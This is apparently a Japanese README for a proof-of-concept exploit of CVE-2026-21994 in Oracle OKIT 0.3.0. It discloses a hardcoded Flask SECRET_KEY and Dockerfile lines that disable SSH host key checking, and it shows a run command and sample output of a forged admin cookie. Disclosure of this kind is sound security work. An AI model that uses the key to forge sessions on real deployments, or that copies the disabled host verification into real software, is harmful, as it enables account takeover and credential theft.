
CVE-2026-21994の概念実証エクスプロイト。Oracle OKITにおけるハードコードされたFlask SECRET_KEYによる未認証の管理者セッション偽造と、SSHホスト検証のバイパスを実証します。
Oracle OKIT (oci-designer-toolkit) バージョン 0.3.0 には、連鎖して認証なしの完全乗っ取りにつながる2つの重大な設定ミスが存在します。公開リポジトリに公開されたハードコードされた Flask SECRET_KEY により、攻撃者は資格情報を一切必要とせずに有効な管理者セッション Cookie を偽造できます。さらに、Docker イメージは SSH ホスト検証を完全に無効化しており、ネットワーク攻撃者がインフラストラクチャのデプロイ中に OCI API キーや秘密鍵を傍受できるようになっています。
1. ハードコードされた SECRET_KEY — okitclassic/okitserver/config.py:4
SECRET_KEY='8980ffsd675747jjjh'
Flask はこのキーを使用してセッション Cookie に署名します。公開リポジトリにハードコードされているため、攻撃者は資格情報を一切持たずに有効な管理者 Cookie を偽造し、OKIT ダッシュボードにアクセスできます。
2. SSH ホスト検証の無効化 — Dockerfile:41
&& echo ' StrictHostKeyChecking no' >> /etc/ssh/ssh_config \
&& echo ' UserKnownHostsFile=/dev/null' >> /etc/ssh/ssh_config \
コンテナは SSH ホストフィンガープリントを一切検証しません。ネットワーク攻撃者はデプロイを中間者攻撃 (MitM) し、OCI 資格情報を窃取できます。
クローンしたリポジトリディレクトリ内で exploit.py を実行します:
python3 exploit.py
[*] Scanning okitclassic/okitserver/config.py ...
[!] VULNERABLE — Hardcoded SECRET_KEY found: 8980ffsd675747jjjh
[+] Authentication bypass possible with zero credentials.
[*] Scanning Dockerfile ...
[!] VULNERABLE — SSH host verification is DISABLED.
[+] Network attacker can MitM deployments and steal OCI credentials.
[*] Forging admin session cookie ...
[!] SUCCESS — Forged cookie: .eJwlzj0OgkAQBeC7bG1...
| CVE ID | CVE-2026-21994 |
| GitHub Advisory | GHSA-g6qw-3gmw-m78m |
| CWE | CWE-284 — Improper Access Control |
| Oracle Advisory Mapping | oracle.com/security-alerts/public-vuln-to-advisory-mapping |
| Oracle CVE Reference | oracle.com/security-alerts/all-oracle-cves |
| 修正 | oracle/oci-designer-toolkit#780 |
Gouri Sankar A 氏によって発見・報告されました — g0w6y